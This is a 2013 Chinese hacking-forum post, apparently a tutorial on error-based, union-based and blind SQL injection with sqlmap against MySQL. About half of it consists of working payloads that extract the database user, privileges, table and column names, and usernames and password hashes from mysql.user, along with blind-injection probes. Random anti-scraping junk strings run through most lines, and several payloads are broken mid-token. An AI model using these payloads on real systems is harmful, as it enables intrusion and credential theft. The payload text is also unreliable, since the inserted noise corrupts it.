找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2103|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。
# n* g7 A8 J" p8 z. p
/ c7 R+ c1 V) B! S$ g: s6 Y: m这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表# \+ y0 X8 J0 i, R# X2 q6 {
. p4 K0 o, G! K/ p
分类标准        分类        备注6 Q1 b2 ]& ^4 f% C5 s( `
按字段类型        整型注入,字符型注入       
7 @/ B; I: x6 a9 E# V# Z  L& ~按出现的位置        get注入,post注入,cookie注入,http header注入       
9 J, s/ _' U5 N) `% k9 C然而高级注入是这样的! I' o3 S0 K) [; C7 N: d3 ?

  z! j$ u2 v7 F. f高级注入分类        条件
3 ^/ \+ ~8 ]2 }4 }error-based sql        数据库的错误回显可以返回,存在数据库,表结构
, }5 j+ j& D: U: A" T( r0 Z7 t+ S  Cunion-based sql        能够使用union,存在数据库,表结构
  W7 P7 N) C- `blind sql        存在注入
: Q7 R2 l6 _. @9 C3 A我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。
" u( \* W2 r- H- c* S4 e$ u( a
+ f% s& u. T& n4 ~! z) x5 A好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
. _( S0 L8 p# _4 {2 p& `2 z& ~
/ I) g; `' |- Y) F' |) o附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。% q( A. D6 \2 B6 t9 [: t7 U

5 M6 m) |5 {. |+ Q  {" `' V, E这里用mysql说明
6 V  V! Q- _8 G' ?- J+ P  L1 d" O: ? 2 w& J4 q. P' X$ @  w$ X, H
e注入坛子里很多了,请看戳我或者再戳我
' ]2 L. c# F2 o/ D; \- X- z
8 P2 D  B) j" Q: r5 A9 E- w4 \u注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的3 [% W7 Y8 w/ [0 x% `' V! h( x
: V, r  F/ j( `3 [5 T) g( P: c' X7 Q
获取当前数据库用户名! T% [1 q% q0 f0 X
' `. r: j* n+ y+ [- t8 m  \) }
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C: f3 y1 v+ B9 n. l
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL4 r' ?  h! N2 Z/ m" t
L, NULL#9 ~& Q3 d. C3 ?1 P" j: m: ^+ k. `( {
注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。
) o9 D6 _+ Z3 _( u3 Z0 c + ]1 u0 j; z0 O$ ~7 Z
获取数据库名& h. X1 v  k( a: Y& \0 h
0 G: q+ O. m; V8 f' D6 j& Y3 o" ]
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#5 N% J+ c( d! s0 }5 s5 `* |& B
获取所有用户名/ y6 K& y$ F& F3 G

. @+ u- Z" h% c7 XUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
% {# L( f9 l0 b7 T查看当前用户权限
6 t3 R. `3 S) w2 |1 [# [8 a
% x0 F7 g0 X# s' \, P% iUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
9 F) P- z5 r1 e+ F# J尝试获取密码,当然需要有能读mysql数据库的权限5 y  h) ^$ L& z, v# i

/ c% C0 C$ W( @9 i( J5 aUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#
/ K6 Y. I- ?! p' d, K; \6 G& N/ a获取表名,limit什么的自己搞啦; C) ?7 J# |$ m$ T$ N  M2 C- p
. ^$ V7 t# ]0 w% n" n
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
' r0 E- x' ?- Y! h$ Y) o获取字段名及其类型
* z7 U2 u4 F6 n0 }1 e  ~UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#7 H- D5 G7 `! C7 `" M7 P; P
% r  `/ @0 I3 u
b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。. O+ k( l# u* U

( `; h& y8 _/ M( F/ o- o3 `. V! J如:
1 b/ ^& t" c# M5 x8 E& ]获取当前用户名. m8 K* g9 T. ?* B

; R2 |' `7 R6 D. G7 n1 C- Q4 A- yAND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116+ ?: a3 ?# l- i; a$ I- O$ N
获取当前数据库' a' k2 }0 u% C  n$ P6 ^& E
. Y$ n! g; R+ ?% b9 ]
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106# D6 l" x7 k# Z6 N' z) \# O; x
获取表名3 |- p5 U3 U2 s4 s: I

5 d9 \6 O% o, X" E0 |- `AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
: s% }. H: d+ ~3 q- N+ [获取字段名及其类型和爆内容就不说了,改改上面的就可以了。
: f2 z5 C" H0 [0 f0 f回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
* k/ }% t& f/ h4 Y2 D; i爆表
9 Y( d4 z" K+ b2 j8 {; Z# Y* l ! ]; \, @+ ~" ^: {3 j
AND EXISTS(select * from table)! b' V" r6 y, V6 `' w
爆字段
/ _# a  N6 y6 P, o
( v. H+ q7 C$ o: Q* CAND EXISTS(select pwd from table)
( p# e( u" B% j7 k. B; V+ i盲注的变化就比较多了,由于篇幅,只是举个例子而已。% M+ H% J  x9 H8 }
. ?/ F/ `+ s; Q3 ?
本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。
/ I  t/ ]; `% ?5 p& R" M0 x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表